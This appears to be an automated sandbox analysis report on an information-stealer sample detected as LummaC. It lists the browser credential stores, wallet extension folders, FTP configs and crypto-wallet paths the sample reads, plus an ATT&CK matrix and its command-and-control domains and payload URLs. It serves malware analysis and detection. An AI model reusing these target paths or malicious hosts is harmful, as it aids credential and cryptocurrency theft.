Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Users\user\Desktop\JpzbUfhXi0.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167683205.0000000001681000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JpzbUfhXi0.exe PID: 2124, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: JpzbUfhXi0.exe PID: 2124, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
JpzbUfhXi0.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
JpzbUfhXi0.exe	100%	Avira	TR/Crypt.TPM.Gen
JpzbUfhXi0.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz/8E	100%	Avira URL Cloud	malware
http://185.215.113.16//5	0%	Avira URL Cloud	safe
https://mindhandru.buzz/p	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exei	0%	Avira URL Cloud	safe
https://mindhandru.buzz/zo	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apis	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiK	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_91.5.dr	false		high
https://duckduckgo.com/chrome_newtab	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16//5	JpzbUfhXi0.exe, 00000000.00000003.2360653021.000000000168C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_91.5.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_91.5.dr	false		high
https://mindhandru.buzz/pi	JpzbUfhXi0.exe, 00000000.00000003.2209032236.000000000169D000.00000004.00000020.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189587214.000000000169D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_103.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_91.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://mindhandru.buzz/8E	JpzbUfhXi0.exe, 00000000.00000003.2209114525.0000000005D32000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2189632205.0000000005D35000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2162456705.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2163839775.0000000005D34000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2194733614.0000000005D34000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_91.5.dr	false		high
http://x1.c.lencr.org/0	JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	JpzbUfhXi0.exe, 00000000.00000003.2133756630.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_91.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	JpzbUfhXi0.exe, 00000000.00000003.2083228844.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083285733.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, JpzbUfhXi0.exe, 00000000.00000003.2083351031.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://github.com/gewarren	chromecache_91.5.dr	false		high
http://185.215	JpzbUfhXi0.exe, 00000000.00000002.2438911710.0000000005D30000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	JpzbUfhXi0.exe, 00000000.00000003.2134704397.000000000604F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exei	JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001602000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_122.5.dr, chromecache_103.5.dr	false		high
http://185.215.113.16/off/def.exee	JpzbUfhXi0.exe, 00000000.00000002.2434142626.0000000001602000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_91.5.dr	false		high
http://185.215.113.16/off/def.exeeWebKit/537.36	JpzbUfhXi0.exe, 00000000.00000002.2433690566.00000000012FA000.00000004.00000010.00020000.00000000.sdmp	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_91.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_122.5.dr, chromecache_103.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_122.5.dr, chromecache_103.5.dr	false		high
